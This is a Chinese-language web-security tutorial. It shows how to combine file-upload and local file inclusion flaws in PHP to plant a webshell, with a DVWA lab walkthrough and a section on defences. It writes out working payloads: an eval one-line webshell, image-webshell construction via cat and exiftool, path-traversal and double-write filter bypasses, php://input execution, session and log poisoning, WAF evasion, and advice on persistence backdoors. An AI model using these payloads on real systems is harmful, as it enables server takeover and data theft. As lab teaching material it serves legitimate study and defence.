1. 项目概述一次典型的Web安全攻防演练在渗透测试和Web安全学习的过程中文件上传和文件包含是两个极其常见且危害巨大的漏洞点。它们往往像一对“黄金搭档”单独出现时可能威力有限但一旦组合起来就能让攻击者轻松获取服务器权限。这次我们要深入探讨的正是“文件包含文件上传漏洞”的组合利用特别是其中绕过后端图片检测、上传“图片马”的核心技巧。这不仅仅是CTF靶场里的经典题目更是真实网络攻防中频繁上演的戏码。简单来说这个场景模拟了一个典型的Web应用缺陷它允许用户上传文件如图片但后端对上传文件的检测存在逻辑缺陷可以被精心构造的“图片马”绕过。同时该应用还存在文件包含漏洞允许攻击者通过URL参数包含服务器上的任意文件。当攻击者将包含恶意代码的图片马上传到服务器后再利用文件包含漏洞去执行这张图片里的代码一个完整的“WebShell”后门就被成功部署了。整个过程攻击者可能没有直接上传一个.php或.jsp文件却达到了同样的目的。这篇文章我将以一个资深安全研究员的视角带你从零开始完整复现这套攻击链。我会拆解每一个技术环节背后的原理分享我在实战和靶场中积累的绕过技巧、排查思路和防御要点。无论你是刚入门的安全爱好者还是想巩固Web安全知识体系的开发者都能从中获得可以直接上手操作的“干货”。2. 漏洞原理深度拆解为什么它们能组合出“王炸”效果在深入实操之前我们必须先吃透这两个漏洞的底层原理。知其然更要知其所以然这样才能在面对各种变种防御时灵活调整攻击思路。2.1 文件上传漏洞不只是“传个文件”那么简单文件上传功能本身无害问题出在服务端对上传文件的处理逻辑上。一个安全的文件上传模块至少应该进行四重检查前端校验通常在JavaScript中进行检查文件扩展名、大小等。但这可以被轻易绕过如禁用浏览器JS、直接发包因此只能作为用户体验优化绝不能作为安全依赖。后端MIME类型校验检查HTTP请求头中的Content-Type字段如image/jpeg,application/octet-stream。攻击者可以伪造该字段将PHP文件的Content-Type改为image/jpeg来尝试绕过。后端文件扩展名校验检查文件名后缀如.jpg,.php。这是最基础但也最容易被绕过的防线方法包括大小写绕过.PhP,.pHP5特殊后缀绕过.php3,.phtml,.phps在某些服务器配置下仍会被解析空格/点号绕过shell.php.Windows系统会自动去除末尾点号shell.php末尾空格双写扩展名绕过shell.pphphp如果过滤逻辑是简单删除php字符串解析漏洞配合服务器特性如IIS的shell.jpg;.phpApache的shell.php.jpg在特定AddType或mod_rewrite配置下可能被解析。后端文件内容校验这是相对高级的防御通过读取文件内容判断其真实类型。常见方法有检查文件头Magic Bytes例如JPEG文件开头是FF D8 FF E0PNG文件开头是89 50 4E 47。这是“图片马”绕过的核心对抗点。图像二次渲染服务器对上传的图片进行压缩、裁剪或重新编码。这会破坏嵌入在图片像素数据或注释块中的恶意代码是防御图片马最有效的手段之一。注意很多初级防御只做到了第2或第3步这就给“图片马”留下了巨大的可乘之机。图片马的本质就是在保持合法图片文件头的前提下将恶意代码插入到图片文件的其它数据区如EXIF信息、注释区或文件末尾。2.2 文件包含漏洞把“外部代码”当自己人文件包含漏洞通常出现在使用include(),require(),include_once(),require_once()等函数的PHP应用中。它允许开发者动态包含代码文件提升灵活性。漏洞产生于未对用户传入的包含路径进行严格过滤。主要分为两类本地文件包含LFI包含服务器本地的文件。例如?page../../../../etc/passwd可以读取系统敏感文件。远程文件包含RFI包含远程服务器上的文件。例如?pagehttp://attacker.com/shell.txt。这要求PHP配置中allow_url_include为On默认关闭因此RFI在实际中较少见但危害更大。LFI的可怕之处在于它不仅能读取文件在特定条件下还能执行代码。这就是它与文件上传组合的关键包含日志文件如果攻击者能将PHP代码写入到Web服务器的访问日志、错误日志或/proc/self/environ等文件中再通过LFI去包含这个日志文件代码就会被执行。包含临时文件如上传文件时的临时文件需要精确的时间竞争。包含Session文件PHP的Session数据通常存储在/tmp/sess_[PHPSESSID]文件中。如果攻击者能控制Session的内容例如将恶意代码写入$_SESSION[‘data’]再通过LFI包含自己的Session文件就能执行代码。这就是热词中提到的“session文件写”利用方式。包含上传的文件这是我们本次的重点。如果上传了一个内容为?php phpinfo();?的test.txt文件并通过LFI包含它?page./uploads/test.txt代码通常不会执行因为.txt文件不会被PHP解析。但是如果结合Apache的解析漏洞或者包含的是一个已经被上传的“图片马”并且服务器配置错误如default_mimetype设置问题就可能触发代码执行。2.3 组合利用逻辑链112的攻击路径理解了各自原理组合利用的链条就清晰了攻击者视角目标是让服务器执行我提供的任意代码获取WebShell。直接路径被阻断上传一个纯PHP文件shell.php- 被后端文件扩展名或内容检测拦截。迂回路径组合漏洞 a.制作图片马创建一个内容为?php phpinfo();?的文本并将其拼接在一个真实图片的文件头之后保存为shell.jpg。这样文件内容校验看到的是合法的图片头而人类肉眼看到的也是一张正常图片可能部分损坏或带杂色。 b.上传图片马将shell.jpg上传至服务器。后端校验通过文件被保存在可访问的目录如/uploads/202405/shell.jpg。 c.触发文件包含找到网站存在的LFI漏洞点例如index.php?fileview。构造包含路径index.php?file../../../uploads/202405/shell.jpg。 d.关键一步服务器收到包含请求去读取shell.jpg的内容并将其作为PHP代码“引入”到当前脚本中。由于是通过PHP的include函数引入的只要该文件内容被当作代码流读取其中的?php ... ?标签就会被Zend引擎解析执行无论这个文件的后缀是什么。结果phpinfo()函数成功执行攻击者确认漏洞存在随后可将代码替换为一句话木马完成WebShell植入。这个链条成立的核心前提是文件包含漏洞点对包含的文件内容不做任何过滤且服务器配置允许包含非.php后缀的文件。在默认配置下PHP的include并不关心文件后缀它只是读取文件内容并注入到当前脚本的上下文中执行。3. 实战环境搭建与漏洞复现理论讲透了我们动手搭建一个存在漏洞的环境来真实感受一下。我推荐使用DVWADamn Vulnerable Web Application它是学习Web安全最经典的靶场之一集成了多种漏洞的练习环境难度可调。3.1 环境准备与部署这里我们使用Docker快速搭建这是最干净、最方便的方式。# 1. 拉取DVWA镜像 docker pull vulnerables/web-dvwa # 2. 运行DVWA容器 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa执行后访问http://你的服务器IP:8080即可看到DVWA界面。首次登录需要点击页面上的Create / Reset Database按钮初始化数据库。默认登录账号/密码是admin/password。登录后在左侧菜单栏找到DVWA Security将安全级别设置为Low这是我们进行漏洞练习的模式。3.2 低安全级别下的漏洞复现在Low级别下DVWA几乎没有任何防护非常适合理解漏洞原始形态。3.2.1 文件上传漏洞利用访问File Upload模块。页面就是一个简单的上传表单。我们首先尝试直接上传一个PHP文件。创建一个shell.php文件内容为?php eval($_POST[cmd]);?这是一句经典的“一句话木马”eval函数会执行$_POST[‘cmd’]变量传来的任意代码。选择shell.php并上传。你会发现上传成功了页面显示了文件路径如../../hackable/uploads/shell.php。直接访问这个路径如http://ip:8080/hackable/uploads/shell.php就得到了一个WebShell。我们可以用中国菜刀、蚁剑等工具连接但这里我们先手动验证用浏览器HackBar或直接curl发送POST请求curl -X POST http://ip:8080/hackable/uploads/shell.php -d cmdecho phpversion();页面会输出当前的PHP版本。这说明在Low级别文件上传没有任何过滤。3.2.2 文件包含漏洞利用访问File Inclusion模块。你会看到URL类似http://ip:8080/vulnerabilities/fi/?pageinclude.php。page参数明显是包含点。尝试包含系统文件将URL改为http://ip:8080/vulnerabilities/fi/?page../../../../etc/passwd。如果成功页面会显示Linux系统的用户列表。这证明了LFI漏洞存在。尝试包含我们刚才上传的shell.php。我们需要找到相对路径。已知上传目录是hackable/uploads而包含页面在vulnerabilities/fi/目录下。通常需要向上回退多层目录。尝试?page../../hackable/uploads/shell.php。如果包含成功不仅会显示上传页面本身的HTML我们植入的eval代码也会在当前页面上下文中生效。此时我们可以在当前页面即文件包含漏洞页面通过POST传递cmd参数来执行命令。这比直接访问WebShell更隐蔽。3.2.3 组合利用上传图片马并包含在Low级别我们甚至不需要图片马因为可以直接上传PHP。但为了演示流程我们还是做一遍制作图片马# 在Linux下使用copy命令Windows下用copy /b # 准备一张正常的jpg图片比如test.jpg # 准备我们的PHP代码文件shell_code.php内容为 ?php phpinfo();? cat test.jpg shell_code.php shell.jpg现在shell.jpg就是一个图片马。用图片查看器打开可能显示错误但开头部分是一张正常图片。上传图片马在DVWA文件上传模块上传shell.jpg。同样会成功获得路径如../../hackable/uploads/shell.jpg。通过文件包含执行访问文件包含页面构造URL?page../../hackable/uploads/shell.jpg。如果页面显示了PHP的配置信息phpinfo()的输出那么恭喜组合利用成功图片中的PHP代码被包含并执行了。3.3 中/高安全级别的绕过挑战Low级别只是热身。真实环境和有防护的应用更接近Medium或High级别。我们切换安全等级到Medium看看防护措施和我们的绕过手段。3.3.1 Medium级别文件上传绕过在Medium级别下DVWA对文件上传做了简单过滤后端代码分析可通过查看源码了解它使用了一个黑名单禁止了“.php”,“.php5”,“.php4”,“.php3”,“.phtml”,“.phpt”,“.pht”等后缀但允许“.jpg”,“.jpeg”,“.png”。绕过方法大小写绕过黑名单通常是大小写敏感的。尝试上传shell.Php或shell.PHp5。在Windows服务器上文件名不区分大小写可能成功但在Linux上严格区分此方法无效。特殊后缀绕过既然黑名单没列全我们可以尝试.pharPHP归档文件在某些配置下可执行或者利用解析漏洞。但在DVWA的Medium级别最直接有效的方法是图片马文件包含这正是我们标题中的核心。上传一个shell.jpg的图片马。虽然它不能直接作为php文件执行但只要存在文件包含漏洞我们就能通过包含它来执行其中的代码。在Medium级别的文件包含模块防护有所增强但依然存在漏洞例如对../的数量限制或过滤但通常可以绕过。3.3.2 Medium级别文件包含绕过Medium级别的文件包含会对输入进行一些过滤比如将http://,https://,../,..\等字符串替换为空。这可以防御简单的目录遍历和RFI。绕过双写过滤如果过滤是简单的str_replace(“../”, “”, $input)我们可以使用双写绕过....//。当中间的../被删除后两边的点会拼接成新的../。即....//- (删除../) -../。绝对路径包含如果知道上传文件的绝对路径如/var/www/html/dvwa/hackable/uploads/shell.jpg可以直接包含绝对路径。但这种方式在实战中难以获取。利用编码使用URL编码..%2F../或%2e%2e%2f../可能绕过一些简单的字符串匹配。在DVWAMedium的FI模块通常使用双写绕过即可?page....//....//....//....//etc/passwd。3.3.3 完整的Medium级别绕过流程将DVWA安全级别设为Medium。在文件上传模块上传我们制作的图片马shell.jpg。由于后缀在白名单内上传成功。在文件包含模块我们需要构造包含路径。假设上传文件路径为../../hackable/uploads/shell.jpg。由于../被过滤我们使用双写....//....//hackable/uploads/shell.jpg。构造URL?pagefile:///var/www/html/dvwa/hackable/uploads/shell.jpg如果知道绝对路径或者更通用地使用相对路径的双写?page....//....//hackable/uploads/shell.jpg。需要根据实际情况调整....//的数量来回溯到根目录。访问该URL如果看到phpinfo()页面则绕过成功。实操心得在真实渗透中找到上传点后我会先用一个纯文本文件测试可上传的后缀白名单。然后我会同时探测网站是否存在文件包含、目录遍历等漏洞。一旦发现LFI图片马就成了优先级最高的攻击载荷。制作图片马时我习惯在文件头和尾都插入PHP代码并测试多种图片格式JPG、PNG、GIF因为不同后端库解析图片的严格程度不同。4. 高级绕过技巧与防御原理剖析仅仅满足于靶场的通用绕过是不够的。面对更复杂的防御我们需要更深入的理解和更精巧的技巧。4.1 针对文件内容校验的绕过很多应用会使用getimagesize()、exif_imagetype()等PHP函数或者通过ImageMagick、GD库来验证文件是否为真正的图片。这些函数主要检查文件头Magic Bytes。制作精准的图片马JPG文件头为FF D8 FF E0或FF D8 FF E1。我们可以用十六进制编辑器如010 Editor或Linux下的hexedit在一个正常JPG的开头之后插入PHP代码。更简单的方法是用copy /b或cat命令拼接但要注意代码必须加在文件头之后否则会破坏文件头导致校验失败。一个稳妥的位置是FF D8 FF E0之后的区域或者直接追加到文件末尾。exif_imagetype()只检查文件头所以追加到末尾通常可行。# 方法1代码追加到末尾对exif_imagetype有效 echo ‘?php phpinfo(); ?’ legitimate.jpg mv legitimate.jpg shell.jpg # 方法2使用工具如exiftool写入EXIF注释更隐蔽 exiftool -Comment‘?php system($_GET[“c”]); ?’ legitimate.jpg mv legitimate.jpg shell.jpg # 然后通过文件包含执行并传递参数 ?cwhoamiPNG文件头为89 50 4E 47 0D 0A 1A 0A结构更复杂包含数据块Chunks。我们可以将代码写入一个tEXt文本或iTXt国际文本数据块中。这需要借助脚本或特定工具。GIF文件头为GIF89a或GIF87a。可以在GIF的注释块或直接追加代码。对抗图像二次渲染这是最棘手的防御。服务器对上传的图片进行重采样、压缩会丢弃所有非像素数据如我们的恶意代码。绕过方法有限研究渲染算法尝试找到一种方式使得恶意代码在经过渲染后依然以某种形式存在。例如将代码编码到像素的最低有效位LSB Steganography但这种方法复杂且不稳定。利用渲染库的漏洞历史上ImageMagick等库曾出现过命令注入漏洞如ImageTragickCVE-2016-3714可以通过构造特殊图片直接执行命令。但这属于0day或Nday利用非通用方法。寻找不经过渲染的路径也许应用仅在“头像上传”等功能使用渲染而在“文章插图”上传时不渲染。信息收集很重要。4.2 利用其他技巧配合文件包含当图片马因内容校验或二次渲染无法直接使用时可以尝试其他LFI利用技巧这些技巧在热词中也有提及Session文件包含攻击者找到一个可以控制部分Session内容的地方例如一个将用户输入存入$_SESSION[‘user’]的页面。攻击者将Payload如?php system($_GET[‘cmd’]);?写入Session。PHP会将Session数据序列化后写入服务器的一个文件中路径通常为/tmp/sess_[PHPSESSID]其中PHPSESSID是攻击者浏览器Cookie中的值。攻击者利用LFI漏洞包含这个Session文件?page../../../tmp/sess_abc123。由于Session文件内容是纯文本且被include包含其中的PHP标签会被执行。关键点需要知道Session存储路径可通过phpinfo()获取session.save_path和当前的Session ID。日志文件包含攻击者将PHP代码作为User-Agent或请求参数的一部分发送一个HTTP请求。这个请求会被记录在Web服务器的访问日志如Apache的access.log或错误日志中。攻击者利用LFI包含这个日志文件?page../../../var/log/apache2/access.log。日志文件中的恶意代码被执行。难点日志文件通常很大包含大量特殊字符可能破坏PHP语法导致执行失败。需要精心构造Payload。此外需要可读的日志文件路径权限。PHP伪协议利用这是LFI漏洞的“瑞士军刀”。即使不能直接包含上传的文件也能利用php://filter和php://input。php://filter用于读取文件源码或进行编码转换。例如读取PHP文件源码?pagephp://filter/readconvert.base64-encode/resourceindex.php。这可以帮助我们审计源码寻找其他漏洞。php://input可以访问请求的原始数据。配合POST请求直接执行POST body中的代码。例如GET /vuln.php?pagephp://input HTTP/1.1 ... POST数据?php system(‘whoami’); ?这需要allow_url_include开启但在某些配置下php://input和php://filter是默认允许的。4.3 从攻击者视角看防御如何让你的应用更安全理解了攻击才能更好地防御。作为开发者以下措施必须层层布防文件上传防御白名单策略严格限定只允许上传必要的后缀如.jpg,.png,.gif并统一转为小写比对。文件内容校验使用getimagesize()、exif_imagetype()或图像处理库GD/Imagick重新打开并保存图片。最佳实践是进行二次渲染生成一张全新的图片彻底剥离任何附加数据。重命名文件使用随机算法如UUID对上传文件重命名避免用户猜测文件名。隔离存储将上传文件存储在Web根目录之外并通过一个专门的脚本如download.php?idxxx来提供访问。这样即使文件包含漏洞存在攻击者也无法直接通过Web路径包含上传的文件。设置文件权限上传目录禁止脚本执行通过.htaccess或服务器配置设置RemoveHandler、RemoveType等。使用云存储或CDN将文件上传至OSS、S3等对象存储彻底与应用服务器分离。文件包含防御避免动态包含如果可能尽量使用静态包含或模板引擎。严格过滤输入如果必须动态包含应对输入进行严格白名单控制。只允许包含预定义的文件名如‘home.php’, ‘about.php’而不是任意路径。路径固定设置一个固定的基础目录base_dir并将用户输入拼接在此目录后同时使用realpath()函数解析绝对路径并检查该路径是否以base_dir开头防止目录穿越。$base_dir ‘/var/www/html/includes/’; $file $_GET[‘page’]; $real_path realpath($base_dir . $file); if ($real_path strpos($real_path, $base_dir) 0) { include($real_path); } else { die(‘Invalid file path.’); }关闭危险配置确保php.ini中allow_url_fopen和allow_url_include设置为Off。5. 常见问题排查与实战心得在实战和教学过程中我遇到过无数奇怪的问题。这里总结几个最常见的坑和排查思路。5.1 为什么我的图片马上传了但包含时不执行这是新手最常遇到的问题。请按以下步骤排查确认文件确实包含PHP代码用文本编辑器或hexdump -C shell.jpg | grep ‘?php’命令检查图片马中是否完整存在?php ... ?标签。注意代码不能放在文件头标识之前。确认文件包含漏洞真实存在先尝试包含一个已知的纯文本文件如../../README.md看是否能显示内容。如果能证明LFI存在。确认包含路径正确这是最容易出错的地方。你需要弄清楚Web应用的目录结构。使用../不断向上回溯。如果包含后页面空白、报错或显示图片二进制乱码可能是路径不对。可以尝试包含/etc/passwd来测试需要多少层../才能到根目录。检查代码是否被转义或过滤有些WAF或代码会在包含前对文件内容进行过滤。尝试包含一个内容为?php echo “test”;?的简单文件看test字符串能否输出。检查服务器配置极少数情况下服务器可能配置了security.limit_extensionsPHP-FPM或AddHandler规则导致非.php文件即使被包含也不会被解析。但在标准PHPApache/Nginx环境下只要是通过include()包含的文件内容其中的PHP代码都会被解析与后缀无关。5.2 制作图片马有哪些注意事项保持图片基本可读如果你插入代码后图片完全无法被图像查看器打开可能会引起管理员怀疑。尽量将代码插入到不影响图片主要数据的地方如文件末尾、注释块。使用短标签确保目标服务器的PHP配置支持短标签?或?。最稳妥的方式是使用完整标签?php ... ?。避免破坏文件结构对于PNG、GIF等有严格结构的格式最好使用专门工具如pngcrush配合脚本或在线生成器来制作图片马避免手动编辑破坏文件导致校验失败。Bypass WAF一些WAF会检测请求中是否包含?php,eval(,system(等关键词。可以对Payload进行编码、混淆。例如使用?代替?php echo使用assert或create_function代替eval或将命令用base64编码后再解码执行。5.3 在真实渗透测试中如何高效发现和利用这类漏洞信息收集阶段扫描目录寻找upload,file,image,attach等可能的上传点。查看JS文件寻找前端上传校验逻辑。使用Burp Suite或OWASP ZAP拦截上传请求观察后端响应判断校验是在前端还是后端。漏洞探测阶段上传测试先上传一个正常图片确认功能可用。然后尝试上传修改后缀的图片test.jpg.php、大小写变种、带空格的名称等。观察返回错误信息这能透露后端校验逻辑。内容探测上传一个内容为GIF89a?php phpinfo();?的.gif文件。如果成功说明可能只检查了文件头。同时探测LFI在网站URL中寻找?page,?file,?load,?path等参数。尝试../../../../etc/passwd进行测试。组合利用阶段一旦确认存在上传点可传图片和LFI立即制作图片马进行测试。如果LFI被过滤尝试双写、绝对路径、编码绕过。如果图片马不执行尝试Session文件包含、日志包含等旁路方法。获得Shell后立即尝试提权、信息收集、部署持久化后门。清理痕迹谨慎操作避免在日志中留下明显攻击语句。上传的WebShell或图片马在测试完成后应尽量删除。最后我想强调的是学习这些漏洞利用技术根本目的是为了理解其原理从而更好地防御。对于开发者请务必实施前文提到的多层防御策略。对于安全从业者应在合法授权的范围内进行测试。Web安全是一个攻防不断升级的领域今天有效的绕过技巧明天可能就被新的防御机制化解。保持学习深入理解底层原理才是应对万变的不二法门。